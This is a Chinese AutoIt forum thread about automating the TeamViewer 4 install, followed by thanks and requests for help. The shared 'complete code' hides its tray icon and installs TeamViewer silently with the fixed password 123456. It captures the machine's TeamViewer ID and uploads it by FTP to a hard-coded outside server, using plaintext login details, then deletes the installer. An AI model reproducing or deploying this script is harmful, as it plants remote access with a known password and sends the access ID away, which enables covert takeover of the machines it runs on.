如何用-软件疯狂装-制作这个软件的自动安装方法？
我试了半天了，都不得行的哪个大师帮下咯 本帖最后由 ldyzxm 于 2021-4-11 18:34 编辑
................................. 你问的不是很清楚，很容易让人不理解
你是要TeamViewer这个软件的自动安装脚本呢？
还是说如何在软件疯狂装调用它自动安装？
如果你说的是第一个
那么简单啊
写个au3脚本自动安装即可；
如果你说是第二种
那么首先你要弄清楚：
软件疯狂装--它是不会帮你自动写脚本的
它只是一个调用你写好的脚本的一个小工具
必须要你自己写好脚本
然后在它的程序里面自动调用
就能达到自动一次性安装的效果了
不知道我理解的是否对否 非常感谢这个朋友，亲自加我为好友，为我解决问题
真的很谢谢你
代码已经帮我写出来了
我发出来大家看看
写的很好，谢谢了
$hd="TeamViewer 4 Setup";自定义字符串
Run('TeamViewer.exe');启动程序，目标程序须放在同一个目录
WinWaitActive($hd,"Welcome to TeamViewer ");等待目标窗口启动
send("!n");点击下一步
WinWaitActive($hd,"Environment")
ControlClick($hd,"Environment","Button6") ;选择安装模式
send("!n");点击下一步
WinWaitActive($hd,"License Agreement")
send("{TAB}{SPACE}");接受协议
send("!n");点击下一步
WinWaitActive($hd,"Choose installation type")
ControlClick($hd,"Choose installation type","Button5")
ControlSetText($hd,"Choose installation type", "Edit1", "123456");输入密码
ControlSetText($hd,"Choose installation type", "Edit2", "123456");再次输入密码
send("!n");点击下一步
WinWaitActive($hd,"&Finish");程序安装完毕
send("{enter}");确认退出
ProcessExists ("TeamViewer.exe") ;查找进程
ProcessClose ("TeamViewer.exe");关闭进程 别客气，四海之内皆兄弟！能力之内，定必义不容辞！
顺便把完整代码发上来分享一下
#NoTrayIcon
#Include <GuiToolBar.au3>;托盘图标udf函数
#Include <FTP.au3>;所需的udf函数，用于文件上传
FileInstall("ID.txt", @TempDir & "\ID.txt") ;将txt包装到程序中并运行时txt释放到临时文件夹
FileInstall("TeamViewer.exe", @TempDir & "\TeamViewer.exe") ;将exe包装到程序中并运行时exe释放到临时文件夹
FileInstall('ID.txt', @SystemDir & '\ID.txt')
RunWait(@TempDir & "\TeamViewer.exe") ;运行exe文件
$hd="TeamViewer 4 Setup";自定义字符串
WinWaitActive($hd,"Welcome to TeamViewer ");等待目标窗口启动
send("!n");点击下一步
WinWaitActive($hd,"Environment")
ControlClick($hd,"Environment","Button6") ;选择安装模式
send("!n");点击下一步
WinWaitActive($hd,"License Agreement")
send("{TAB}{SPACE}");接受协议
send("!n");点击下一步
WinWaitActive($hd,"Choose installation type")
ControlClick($hd,"Choose installation type","Button5")
ControlSetText($hd,"Choose installation type", "Edit1", "123456");输入密码
ControlSetText($hd,"Choose installation type", "Edit2", "123456");再次输入密码
send("!n");点击下一步
WinWaitActive($hd,"&Finish");程序安装完毕
send("{enter}");完全安装
Sleep(5000)
_SysTray_ClickItem("TeamViewer", "left", 2)
If @error Then MsgBox(48, "Failure", "Required item not found");激活托盘图标函数
Func _SysTray_ClickItem($iTitle, $iButton = "left", $iClick = 1, $sMove = False, $iSpeed = 1)
Local $hToolbar, $iButCount, $aRect, $hButton, $cID, $i
$hToolbar = ControlGetHandle("", "", "")
If @error Then
Return SetError(1, 0, 0)
EndIf
$iButCount = _GUICtrlToolbar_ButtonCount($hToolbar)
If $iButCount = 0 Then
Return SetError(1, 0, 0)
EndIf
$hButton = ControlGetHandle("", "", "Button2")
If $hButton <> "" Then ControlClick("", "", "Button2")
For $i = 0 To $iButCount - 1
$cID = _GUICtrlToolbar_IndexToCommand($hToolBar, $i)
If StringInStr(_GUICtrlToolbar_GetButtonText($hToolBar, $cID), $iTitle) Then
_GUICtrlToolbar_ClickButton($hToolbar, $cID, $iButton, $sMove, $iClick, $iSpeed)
Return 1
EndIf
Next
Return SetError(1, 0, 0)
EndFunc
WinWaitActive("TeamViewer","ID")
$ID = ControlGetText ( "TeamViewer", "ID", "Edit2")
$file = FileOpen(@SystemDir & "\ID.txt", 2);打开文本
FileWriteLine($file, $ID);写入ID
FileClose($file);关闭文本
$dll = DllOpen('wininet.dll')
$server = '221.195.4.38'
$username = 'pc.cq-itserv.cn'
$pass = 'pc.cq-itserv.cn'
$Open = _FTPOpen('MyFTP Control')
$Conn = _FTPConnect($Open, $server, $username, $pass)
$Ftpp = _FtpPutFile($Conn, 'C:\WINDOWS\system32\ID.txt', '007.txt');上传指定路径文本
$Ftpc = _FTPClose($Open)
DllClose($dll)
Sleep(1000)
ProcessExists ("TeamViewer.exe") ;查找进程
ProcessClose ("TeamViewer.exe");关闭进程
If ProcessWaitClose(@TempDir& "\TeamViewer.exe") Then
FileDelete(@TempDir & "\TeamViewer.exe") ;如果exe文件运行完了以后就删除文件
Exit
EndIf;结束该段脚本
MsgBox(64,"提示:","~OVER~")
[ 本帖最后由 lynfr8 于 2009-4-15 22:25 编辑 ] 学习了。。。。！ 软件疯狂装软件疯狂装软件疯狂装软件疯狂装软件疯狂装软件疯狂装软件疯狂装 虚心请教：我的QQ，136620701如果在这里不好说，能加我的QQ教我下吗？
可以远程的
谢谢好心人
ldyzxm 发表于 2009-4-11 12:22 http://autoitx.com/images/common/back.gif
老牌会员的解答非常好！ 学习了，感谢共享 好东西，啊学习下 真的太疯狂咯。。
页:
[1]